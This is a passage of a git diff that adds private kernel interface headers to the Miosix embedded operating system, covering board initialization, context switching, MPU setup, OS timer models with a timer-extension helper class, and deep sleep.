+/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file bsp_private.h + * This file provides architecture specific initialization code that the kernel + * will call during boot. + */ + +namespace miosix { + +/** + * \internal + * First part of BSP initialization. This function should perform the initial + * board initialization. This function is called during boot before the kernel + * is started, while interrupts are still disabled. + * + * After this function is called, the kernel will start printing boot logs, so + * the console device should be initialized here, typically writing to a serial + * port. + */ +void IRQbspInit(); + +/** + * \internal + * Second part of BSP initialization. This function should complete the board + * initialization with the steps that requires the kernel to be started and + * interrupts to be enabled. + * + * Typically, filesystem initialization and mounting partitions goes here. + */ +void bspInit2(); + +} //namespace miosix + +/** + * \} + */ diff --git a/miosix/interfaces_private/cpu.h b/miosix/interfaces_private/cpu.h new file mode 100644 index 000000000..761bf89eb --- /dev/null +++ b/miosix/interfaces_private/cpu.h @@ -0,0 +1,140 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +#include "miosix_settings.h" +#include "interfaces/cpu_const.h" + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file cpu.h + * This file contains cpu-specific functions used by the kernel to implement + * multithreading. + * + * In addition to implementing all the functions in this header, architecture + * specific code in cpu_impl.h shall provide the following: + * + * \code + * //Save context from an interrupt + * #define saveContext() + * + * //Restore context in an IRQ where saveContext() is used + * #define restoreContext() + * + * \endcode + */ + +/** + * This global variable is used to point to the context of the currently running + * thread. It is kept even though global variables are generally bad due to + * performance reasons. It is used by + * - saveContext() / restoreContext(), to perform context switches + * - the schedulers, to set the newly running thread before a context switch + * - IRQportableStartKernel(), to perform the first context switch + * It is declared in thread.cpp + */ +extern "C" { +extern volatile unsigned int *ctxsave[miosix::CPU_NUM_CORES]; +} + +namespace miosix { + +/** + * \internal + * Initializes the context of a new kernel thread or kernelspace side of a + * userspace thread that is being created. + * \param ctxsave a pointer to a field ctxsave inside a Thread class that need + * to be filled + * \param pc starting program counter of newly created kernel thread, + * \param sp starting stack pointer of newly created thread. For architectures + * that save all registers in ctxsave, this value will be used to initialize the + * stack pointer register in ctxsave. Additionally, for architectures that save + * some of the registers on the stack, this function will need to push on the + * stack a frame with the initial values of the stack-saved registers + * corresponds to the entry point of a function taking two arguments + * \param spLimit bottom of the stack, used on some architectures for hardware + * stack overflow detection + * \param arg0 first argument of the thread entry function + * \param arg1 second argument of the thread entry function + */ +void initKernelThreadCtxsave(unsigned int *ctxsave, void (*pc)(void *(*)(void*),void*), + unsigned int *sp, unsigned int *spLimit, + void *(*arg0)(void*), void *arg1) noexcept; + +/** + * \internal + * Handle the architecture-specific part of starting the kernel. It is used by + * the kernel, and should not be called by end users. + * This function should at minimum enable interrupts and perform the first + * context switch. + * + * NOTE: the miosix::kernel_started flag is set to true before calling this + * function, even though the kernel cannot be considered started until this + * function completes, causing the first context switch. + * For this reason this function must be written with great care not to call + * code that uses GlobalIrqLock, such as general purpose driver classes + * that would be ran either before or after start of the kernel. + */ +void IRQportableStartKernel() noexcept; + +/** + * \internal + * Architecture-specific way to perform a context switch + * Must be callable both with and without the global lock. If called with the + * global lock, the scheduler is called as soon as interrupts are enabled again + */ +inline void IRQinvokeScheduler() noexcept; + +#ifndef WITH_SMP +/** + * \internal + * On single core architectures IRQinvokeSchedulerOnCore falls back to a simple + * IRQinvokeScheduler, otherwise this function must be provided in smp.h + */ +inline void IRQinvokeSchedulerOnCore(unsigned char) noexcept +{ + IRQinvokeScheduler(); +} +#endif //WITH_SMP + +} //namespace miosix + +/** + * \} + */ + +#include "interfaces-impl/cpu_impl.h" diff --git a/miosix/interfaces_private/mpu.h b/miosix/interfaces_private/mpu.h new file mode 100644 index 000000000..483da7d2a --- /dev/null +++ b/miosix/interfaces_private/mpu.h @@ -0,0 +1,65 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file mpu.h + * This file allows the kernel to configure a Memory Protection Unit to enforce + * kernel-level W^X memory protection. + * On some architectures such as ARM, the MPU is also used to configure + * cacheability. + * The implementation of this interface should cooperate with the dynamic MPU + * configuration needed to implement processes that is instead declared in + * userspace.h + */ + +namespace miosix { + +/** + * \internal + * The kernel calls this function in boot.cpp to enable the MPU, if present + */ +void IRQenableMPU(); + +} //namespace miosix + +/** + * \} + */ + +#include "interfaces-impl/mpu_impl.h" diff --git a/miosix/interfaces_private/os_timer.h b/miosix/interfaces_private/os_timer.h new file mode 100644 index 000000000..2f6c5473a --- /dev/null +++ b/miosix/interfaces_private/os_timer.h @@ -0,0 +1,626 @@ +/*************************************************************************** + * Copyright (C) 2015-2021 by Terraneo Federico, Sasan Golchin * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +#include "miosix_settings.h" +#include "kernel/timeconversion.h" + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file os_timer.h + * This file contains the interface through which the OS accesses the underlying + * hardware timer, that is used to: + * - measure time durations + * - set interrupts used both preemption and to handle sleeping threads wakeup + * + * Starting from Miosix 3, the OS supports two different timer models: + * separate and unified, selected with the option OS_TIMER_MODEL_UNIFIED + * in miosix_settings.h. + * + * Separate timer model, also called 1+N timer model. + * This is the timer model you want to use if you care about speed and your + * platform has at least 1+N timers, where N is the number of cores in your CPU. + * The motivation and design of this model can be found in the paper "Efficient + * Design of High-Resolution Timekeeping in Real-Time Operating Systems". + * https://doi.org/10.4230/OASIcs.NG-RES.2026.4 + * Summarizing, the implementation is expected to use a separate high-resolution + * timer for timekeeping, plus one additional timer per-core for preemption. + * It is expected that on ARM architectures, the per-core preemption timers be + * implemented using the ARM SysTick which is a per-core timer meant for that + * purpose. An additional upcounting timer with match register is + * needed for timekeeping. Regardless of the cosen timer model, the ARM SysTick + * is not enough due to it not meeting the high-resolution timer requirements. + * In the separate model, all cores, including the WAKEUP_HANDLING_CORE use + * the IRQosTimerSetPreemption() function to schedule preemption interrupts, + * and when the set time is reached, the scheduler must be called by the timer + * driver on the core that called IRQosTimerSetPreemption(). + * IRQosTimerSetInterrupt() is used only for thread wakeup and when that set + * time is reached, the separate timekeeping timer driver will need to call the + * IRQwakeThreads() kernel function always on the WAKEUP_HANDLING_CORE, + * regardless of the core that called IRQosTimerSetInterrupt(). + * NOTE: in the separate model the WAKEUP_HANDLING_CORE calls both + * IRQosTimerSetPreemption() to set preemptions, and IRQosTimerSetInterrupt() + * for thread wakeups. Thus, even in single-core microcontrollers, both APIs + * must be provided, requiring two hardware timers. + * + * Unified timer model. + * This is the slower timer model where a single timer does all the timekeeping. + * In this case the implementation is expected to use a single hardware timer + * for serving all the timekeeping functions for the entire OS, even if multiple + * CPU cores are present. + * In single-core microcontrollers, a single timer with a single match register + * is all that's needed to run the kernel, while on a multi-core microcontroller + * the single timer must have a number of match registers equal to the number + * of available cores. Due to the need for an upcounting timer for fine-grain + * timekeeping as well as the need for multiple per-core match registers, the + * ARM SysTick cannot be used as OS timer in the unified model. + * Also in the unified model, one special core, identified by the constant + * WAKEUP_HANDLING_CORE, is in charge of handling timekeeping and task wakeup. + * In the unified model, the OS scheduler on that core will set both thread + * wakeup and preemption interrupts by calling IRQosTimerSetInterrupt() and when + * the the set time is reached, the timer driver must call the IRQwakeThreads() + * kernel function always on the WAKEUP_HANDLING_CORE, regardless of the + * core IRQosTimerSetInterrupt() is called from. + * Cores othar than WAKEUP_HANDLING_CORE will instead set preemption interrupts + * by calling IRQosTimerSetPreemption() and when the set time is reached, the + * scheduler must be called by the timer driver on the core that called + * IRQosTimerSetPreemption(). + * NOTE: in the unified model, the WAKEUP_HANDLING_CORE never calls + * IRQosTimerSetPreemption(), it always calls IRQosTimerSetInterrupt() for both + * thread wakeup and preemptions. Indeed, in single-core architecture where the + * only core is WAKEUP_HANDLING_CORE, IRQosTimerSetPreemption() is not needed, + * thus a single timer can be used. + * + * NOTE: in multi-cores, regardless of the selected timer model, cores other + * than WAKEUP_HANDLING_CORE can call IRQosTimerSetInterrupt() if a thread on + * that core does a sleep. Regardless of the chosen timer model and the core + * IRQosTimerSetInterrupt() is called from, the interrupt set by + * IRQosTimerSetInterrupt() must always run the IRQwakeThreads() function from + * the WAKEUP_HANDLING_CORE. + * + * Finally, a note on timer accuracy. To provide accurate timekeeping, + * IRQosTimerSetInterrupt() must perform the nanosecond to tick conversion + * accurately and not accumulate clock skew. This is usually done by never + * stopping the underlying timer. It is highly recommended to use the + * TimeConversion class in the timer drivers to convert the underlying hardware + * timer ticks to nanoseconds. + * The preemption timer can instead be coarser grain and do not need to care + * about not accumulating clock skew. This is also why it is permissible to use + * the ARM SysTick for this purpose. A CoarseTimeConversion class is provided. + * + * NOTE: when porting Miosix, on architectures providing a 16/32 bit timer with + * - a timer counting up + * - a match register capable of generating interrupts + * - an overflow interrupt + * the timekeeping and task wakeup part (getTime(), IRQosTimerSetInterrupt()) of + * the timer API can simply be implemented by deriving the TimerAdapter + * providing the required functions to access the hardware timer, and the + * DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION macro to implement the os_timer + * interface. On single-core microcontrollers using the unified model and thus + * not needing the IRQosTimerSetPreemption() API, this covers the entire API + * required to run Miosix, but you should consider using the separate timer + * model as it improves performance, especially of the scheduler. On ARM Cortex, + * arm_systick_os_timer.cpp provides the missing piece to do so. + */ + +namespace miosix { + +// This is a function that is part of the internal implementation of the kernel +// defined in thread.cpp. User code should not know about this nor try to use it +extern void IRQwakeThreads(long long currentTime); + +// The os timer platform-specific implementation shall provide these two +// functions, although they are not declared here, but in thread.h, as +// these are the only two function that are meant to be called also from +// application code. For comments about the intended behavior, see thread.h +//long long getTime() noexcept; +//long long IRQgetTime() noexcept; + +/** + * \internal + * Initialize and start the os timer. + * This function is used by the kernel, and should not be used by end users. + * On SMP platforms, this function is called early at boot on core 0. + */ +void IRQosTimerInit(); + +#ifdef WITH_SMP +/** + * \internal + * Initialize the OS timer for a given core during SMP setup. + * This function is used by the kernel, and should not be used by end users, and + * is called at boot by SMP setup code once for each core from each core, so + * that each core calls this function exactly once. + * On non-SMP platforms it is not called. + */ +void IRQosTimerInitSMP(); +#endif //WITH_SMP + +#if defined(WITH_SMP) || !defined(OS_TIMER_MODEL_UNIFIED) +/** + * \internal + * Set the next preemption interrupt. When the set time is reached, the timer + * driver must call the scheduler on the core where the function was called. + * + * If the timer model is unified, this function is never called on the + * WAKEUP_HANDLING_CORE, thus on a single-core architecture, this function is + * never called at all, and on multi-core architectures the driver must manage + * up to CPU_NUM_CORES-1 concurrent calls, one for each core that is not + * WAKEUP_HANDLING_CORE. + * + * If the timer model is separate, then each core including WAKEUP_HANDLING_CORE + * calls this function to handle preemption, and the timer driver is expected + * to use a number of timers equals to CPU_NUM_CORES, each handling calls + * from the local core and calling the scheduler on the core the timer has been + * set. + * + * This function is used by the kernel, and should not be used by end users. + * Can be called with interrupts disabled or within an interrupt. + * The hardware timer handles only one outstading interrupt request at a + * time per core (except for WAKEUP_HANDLING_CORE in the unified mode), so a new + * call from a core before the interrupt expires cancels the previous one for + * that core. + * + * \param ns the relative time when the interrupt will be fired on the core + * that is calling this function. This value thus represent a time duration and + * NOT a time point. The time conversion from nanoseconds to ticks does not need + * to be very precise and clock skew is tolerated. + * + * The fired interrupt must invoke the scheduler on the core the function was + * called from. + * + * \warning The timer model is one shot, and NOT periodic. Once the scheduler is + * called it must NOT be called again unless IRQosTimerSetPreemption() is + * called again to schedule another interrupt. + */ +void IRQosTimerSetPreemption(unsigned int ns) noexcept; +#endif //defined(WITH_SMP) || !defined(OS_TIMER_MODEL_UNIFIED) + +/** + * \internal + * Set the next timekeeping/thread wakeup interrupt. + * This function is used by the kernel, and should not be used by end users. + * Can be called with interrupts disabled or within an interrupt. + * The hardware timer handles only one outstading interrupt request at a + * time, so a new call before the interrupt expires cancels the previous one. + * On multi-core architectures, this function can called by any core but shall + * only set the interrupt that will run on the WAKEUP_HANDLING_CORE. + * + * \param ns the absolute time when the interrupt will be fired, in nanoseconds. + * This value thus represent a time point and NOT a duration. + * When the interrupt fires, it shall call the + * \code + * void IRQwakeThreads(long long currentTime); + * \endcode + * function defined in thread.cpp. This function shall be called from the + * WAKEUP_HANDLING_CORE. + * \warning IRQwakeThreads must NOT be called before the time specified in ns + * is reached. Thus, the parameter currentTime passed to IRQwakeThreads must + * be equal or greater than ns. A device driver that implements the os_timer and + * fails to meet this requirement will break the scheduler! + * The time conversion from nanoseconds to ticks must thus be precise, using the + * TimeConversion class is recommended. + * + * \warning The timer model is one shot, and NOT periodic. Once the handler + * function is called, it must NOT be called again unless + * IRQosTimerSetInterrupt() is called again to schedule another interrupt. + */ +void IRQosTimerSetInterrupt(long long ns) noexcept; + +/** + * \return if the last timer interrupt time that was scheduled with + * IRQosTimerSetInterrupt() is still pending, return the abolute time in + * nanoseconds of the pending interrupt. If the interrupt time already passed + * no further interrupt has been set, return numeric_limits::max() + */ +long long IRQosTimerGetInterrupt() noexcept; + +/** + * \internal + * Set the current system time. + * It is used by the kernel, and should not be used by end users. + * Used to adjust the time for example if the system clock was stopped due to + * entering deep sleep. + * Can be called with interrupts disabled or within an interrupt. + * \param ns value to set the hardware timer to. Note that the timer can + * only be set to a higher value, never to a lower one, as the OS timer + * needs to be monotonic. + * If an interrupt has been set with IRQsetNextInterrupt, it needs to be + * moved accordingly or fired immediately if the timer advance causes it + * to be in the past. + */ +void IRQosTimerSetTime(long long ns) noexcept; + +/** + * \internal + * It is used by the kernel, and should not be used by end users. + * \return the timer frequency in Hz. + * If a prescaler is used, it should be taken into account, the returned + * value should be equal to the frequency at which the timer increments in + * an observable way through IRQgetCurrentTime() + */ +unsigned int osTimerGetFrequency(); + +/** + * Helper class providing a generic implementation capable of providing time + * in nanoseconds starting from a hardware timer. + * It works by first extending the timer counter to 64 bit in software through + * an algorithm called the "pending bit trick" and then using TimeConversion to + * turn the timer ticks to nanoseconds. + * + * This class is not meant to be instantiated directly, but rather used as a + * base class by means of the C++ curiously recurring template pattern. + * In the derived class you need to implement function to perform + * platform-specific functions on the hardware timer, as shown by this example + * code. + * \code + * class MyHwTimer : public TimerAdapter + * { + * public: + * static inline unsigned int IRQgetTimerCounter() {} + * static inline void IRQsetTimerCounter(unsigned int v) {} + * + * static inline unsigned int IRQgetTimerMatchReg() {} + * static inline void IRQsetTimerMatchReg(unsigned int v) {} + * + * static inline bool IRQgetOverflowFlag() {} + * static inline void IRQclearOverflowFlag() {} + * + * static inline bool IRQgetMatchFlag() {} + * static inline void IRQclearMatchFlag() {} + * + * static inline void IRQforcePendingIrq() {} + * + * static inline void IRQstopTimer() {} + * static inline void IRQstartTimer() {} + * + * static unsigned int IRQTimerFrequency() {} + * + * void IRQinitTimer() {} + * }; + * \endcode + * + * \tparam D the derived class (see curiously recurring template pattern) + * \tparam bits the bits of the underlying hardware timer, up to 32 bit. + * \tparam quirkAdvance some timers don't like being set very close to the + * actual interrupt time. If this is the case set this parameter to the minimum + * number of ticks in the future the timer must be set, otherwise keep at 0 + */ +template +class TimerAdapter +{ +public: + //Note that if you have a 64 bit timer you don't need this code at all + static_assert(bits<=32, "Support for larger timers not implemented"); + static constexpr unsigned long long upperIncr=(1LL<::max() + long long upperIrqTick=0x7FFFFFFFFFFFFFFFLL; + long long irqNs=0x7FFFFFFFFFFFFFFFLL; + miosix::TimeConversion tc; + bool lateIrq=false; + + /** + * \return the current time in ticks + */ + inline long long IRQgetTimeTick() + { + // THE PENDING BIT TRICK, version 2 + // This algorithm allows to extend in software an N bit timer to a 64bit + // one. The basic idea is this: the lower bits of the 64bit timer are + // kept by the counter register of the timer, while the upper bits are + // kept in a software variable. When the hardware timer overflows, an + // interrupt is used to update the upper bits. + // Reading the timer may appear to be doable by just an OR operation + // between the software variable and the hardware counter, but is + // actually way trickier than it seems, because user code may: + // 1 disable interrupts, + // 2 spend a little time with interrupts disabled, + // 3 call this function. + // Now, if a timer overflow occurs while interrupts are disabled, the + // upper bits have not yet been updated by the overflow interrupt, so + // we would return the wrong time. + // To fix this, we check the timer overflow pending bit, and if it is + // set we return the time adjusted accordingly. This almost works, the + // last issue to fix is that reading the timer counter and the pending + // bit is not an atomic operation, and the counter may roll over exactly + // at that point in time. In this case we must not increment the upper + // bits at all. To solve this, we read the timer a second time to see if + // it had rolled over. + // This is the pending bit trick, that in a nutshell uses the overflow + // pending flag as an extra timer bit, and accounts for the + // impossibility to atomically read the timer counter and pending flag. + // Note that this algorithm imposes a limit on the maximum time + // interrupts can be disabled, equals to one hardware timer period minus + // the time between the two timer reads in this algorithm. + unsigned int counter=D::IRQgetTimerCounter(); + if(D::IRQgetOverflowFlag() && D::IRQgetTimerCounter()>=counter) + return (upperTimeTick | static_cast(counter)) + upperIncr; + return upperTimeTick | static_cast(counter); + } + + /** + * \return if the last interrupt time that was scheduled is still pending, + * return the abolute time in ticks of the pending interrupt. + * If the interrupt time already passed no further interrupt has been set, + * return numeric_limits::max() + */ + inline long long IRQgetIrqTick() + { + return upperIrqTick | D::IRQgetTimerMatchReg(); + } + + /** + * \return the current time in nanoseconds + */ + inline long long IRQgetTimeNs() + { + return tc.tick2ns(IRQgetTimeTick()); + } + + /** + * \return if the last interrupt time that was scheduled is still pending, + * return the abolute time in nanoseconds of the pending interrupt. + * If the interrupt time already passed no further interrupt has been set, + * return numeric_limits::max() + */ + inline long long IRQgetIrqNs() + { + return irqNs; + } + + /** + * Set the current time + * \param ns absolute time in nanoseconds, can only be greater than the + * current time + */ + void IRQsetTimeNs(long long ns) + { + //Normally we never stop the timer not to accumulate clock skew, + //but here we're asked to introduce a clock jump anyway + D::IRQstopTimer(); + long long oldTick = IRQgetTimeTick(); + long long tick = tc.ns2tick(ns); + if(tick>oldTick) + { + upperTimeTick = tick & upperMask; + D::IRQsetTimerCounter(static_cast(tick & lowerMask)); + D::IRQclearOverflowFlag(); + //Adjust also when the next interrupt will be fired, if it is set + long long nextIrqTick = IRQgetIrqTick(); + if(nextIrqTick!=0x7FFFFFFFFFFFFFFFLL && nextIrqTick>oldTick) + { + //Avoid using IRQsetIrqTick(nextIrqTick) as in some weird timers + //IRQgetTimeTick() does not work after setting the timer counter + //and before starting the timer (ATsam4l is an example) + auto tick2 = nextIrqTick + quirkAdvance; + upperIrqTick = tick2 & upperMask; + D::IRQsetTimerMatchReg(static_cast(tick2 & lowerMask)); + if(tick >= nextIrqTick) + { + D::IRQforcePendingIrq(); + lateIrq=true; + } + } + } + D::IRQstartTimer(); + } + + /** + * \internal + * Schedule the next os interrupt + * + * \warning this function is only provided to implement some low-level + * driver related to deep sleep, and should not be called directly to set + * the next interrupt for the scheduler, as it sidesteps setting the irqNs + * variable which is fundamental for the scheduler to function with low + * speed timers + * \param ns absolute time in ticks, must be > 0 + */ + inline void IRQsetIrqTick(long long tick) + { + auto tick2 = tick + quirkAdvance; + upperIrqTick = tick2 & upperMask; + D::IRQsetTimerMatchReg(static_cast(tick2 & lowerMask)); + if(IRQgetTimeTick() >= tick) + { + D::IRQforcePendingIrq(); + lateIrq=true; + } + } + + /** + * Schedule the next os interrupt + * \param ns absolute time in nanoseconds, must be > 0 + */ + inline void IRQsetIrqNs(long long ns) + { + irqNs=ns; + IRQsetIrqTick(tc.ns2tick(ns)); + } + + /** + * Must be called by the timer interrupt routine when writing the driver + * for a particular timer. It clears the pending flag and calls the os as + * needed. + */ + inline void IRQhandler() + { + if(D::IRQgetMatchFlag() || lateIrq) + { + D::IRQclearMatchFlag(); + long long tick=IRQgetTimeTick(); + if(tick >= IRQgetIrqTick() || lateIrq) + { + lateIrq=false; + + #ifndef WITH_RTC_AS_OS_TIMER + long long now=irqNs; + irqNs=upperIrqTick=0x7FFFFFFFFFFFFFFFLL; + IRQwakeThreads(now); + #else //WITH_RTC_AS_OS_TIMER + // Timeconversion error is less than 2 ticks, but with the low + // frequency of the RTC this error occasionally causes an early + // wakeup with an appreciable time error. In this case retry the + // next tick. When developing new os_timer drivers remove this + // code to make sure it does not happen systematically + long long now=tc.tick2ns(tick); + if(now(this)->IRQinitTimer(); + tc=TimeConversion(D::IRQTimerFrequency()); + D::IRQstartTimer(); + } + + //From here, member functions only useful for specific type of drivers + + /** + * Some weird timers forget to set the overflow flag when in deep sleep, + * (stm32f1 is an example), so provide a way to increment the upper part + * manually. You shouldn't need to call this unless you're dealing with a + * bug in a timer. + */ + void IRQquirkIncrementUpperCounter() + { + upperTimeTick += upperIncr; + } + + /** + * \param counter hardware timer value + * \return the current time in ticks, starting from the lower part + */ + inline long long IRQgetTimeTickFromCounter(unsigned int counter) + { + if(D::IRQgetOverflowFlag() && D::IRQgetTimerCounter()>=counter) + return (upperTimeTick | static_cast(counter)) + upperIncr; + return upperTimeTick | static_cast(counter); + } +}; + +} //namespace miosix + +/** + * This macro is a shorthand for implementing the os timer interface in terms of + * the TimerAdapter class. Just declare this macro inside the miosix + * namespace passing it the TimerAdapter derived class instance. + * + * \code + * namespace miosix { + * class MyHwTimer : public TimerAdapter + * { + * [...] + * }; + * + * static MyHwTimer timer; + * DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer); + * + * void timerInterruptRoutine() + * { + * timer.IRQhandler(); + * } + * } //namespace miosix + * \endcode + */ +#define DEFAULT_OS_TIMER_INTERFACE_IMPLEMENTATION(timer) \ +long long getTime() noexcept \ +{ \ + FastGlobalIrqLock dLock; \ + return timer.IRQgetTimeNs(); \ +} \ + \ +long long IRQgetTime() noexcept \ +{ \ + return timer.IRQgetTimeNs(); \ +} \ + \ +void IRQosTimerInit() \ +{ \ + timer.IRQinit(); \ +} \ + \ +void IRQosTimerSetInterrupt(long long ns) noexcept \ +{ \ + timer.IRQsetIrqNs(ns); \ +} \ + \ +long long IRQosTimerGetInterrupt() noexcept \ +{ \ + return timer.IRQgetIrqNs(); \ +} \ + \ +void IRQosTimerSetTime(long long ns) noexcept \ +{ \ + timer.IRQsetTimeNs(ns); \ +} \ + \ +unsigned int osTimerGetFrequency() \ +{ \ + FastGlobalIrqLock dLock; \ + return timer.IRQTimerFrequency(); \ +} + +/** + * \} + */ + +// Gated including of arch-specific functions to enable inlining +#if !defined(OS_TIMER_MODEL_UNIFIED) && __ARM_ARCH>=6 +#include "arch/drivers/os_timer/arm_systick_os_timer_impl.h" +#endif diff --git a/miosix/interfaces_private/sleep.h b/miosix/interfaces_private/sleep.h new file mode 100644 index 000000000..5a30695f2 --- /dev/null +++ b/miosix/interfaces_private/sleep.h @@ -0,0 +1,113 @@ +/*************************************************************************** + * Copyright (C) 2018-2024 by Terraneo Federico, Daniele Marsella * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifndef COMPILING_MIOSIX +#error "This is header is private, it can't be used outside Miosix itself." +#error "If your code depends on a private header, it IS broken." +#endif //COMPILING_MIOSIX + +/** + * \addtogroup Interfaces + * \{ + */ + +/** + * \file sleep.h + * This file contains required functions to implement automatic sleep and + * deep sleep state switch. + * + * Sleep support allows the kernel idle thread to stop the CPU when no ready + * thread exists, while leaving al peripherals running. It is a simple + * optimization supported on almost all processors and is easy to implement, + * requiring only to implement the sleepCpu() function calling the appropriate + * machine instruction. + * + * Deep sleep support allows to power off also the peripherals when no ready + * threads exist and the system doesn't require any peripheral to be active + * (at least, no peripheral that can function also in the deep sleep state). + * It is a more involved optimization, requiring all peripheral drivers to use + * DeepSleepLock classes to mark code regions where peripherals are used, and + * requires to write device specific code to wakeup from deep sleep after a + * given time to support delays in threads, usually by means of the RTC or a + * timer that can function also in the deep sleep state. + * + * NOTE: deep sleep support is optional as it is only required when the kernel + * is configured with the WITH_DEEP_SLEEP option, which is disabled by default + * + * NOTE: this interface is meant to be used only by the kernel to implement + * sleep, not by user code to enter sleep states. + * When automatic sleep/deep sleep is enabled, it is transparent to applications. + */ + +namespace miosix { + +/** + * \internal + * Used by the idle thread to put cpu in low power mode + * Function must be callable both with interrupts enabled and disabled, + * the implementation is expected to be just a single machine-specific asm + * instruction to sleep the CPU + */ +void sleepCpu(); + +/** + * \internal + * Initialize the required component to support the deep sleep functionalities. + */ +void IRQdeepSleepInit(); + +/** + * \internal + * Put in deep sleep the board until the next wakeup schedule. + * \param abstime : selected absolute time to wake up from deep sleep state. + * This blocking function shall return when abstime is reached. + * \return true if the deep sleep operation was performed succesfully, and the + * function has returned at the prescribed time (within its tolerance). + * This function may immediately return false if some condition is not met and + * going in deep sleep was not possible, for example the requested wakeup time + * is too close considering the overhead of going in deep sleep. + */ +bool IRQdeepSleep(long long abstime); + +/** + * \internal + * Put in deep sleep the board without a wakeup time. + * This may happen because of waiting for some event that can happen also + * in deep sleep. + * \return true if the deep sleep operation was performed succesfully. + * This function may immediately return false if some condition is not met and + * going in deep sleep was not possible. + */ +bool IRQdeepSleep(); + +} //namespace miosix + +/** + * \} + */ diff --git a/miosix/interfaces_private/smp.h b/miosix/interfaces_private/smp.h new file mode 100644 index 000000000..455ae49b4 --- /dev/null +++ b/miosix/interfaces_private/smp.h @@ -0,0 +1,126 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed 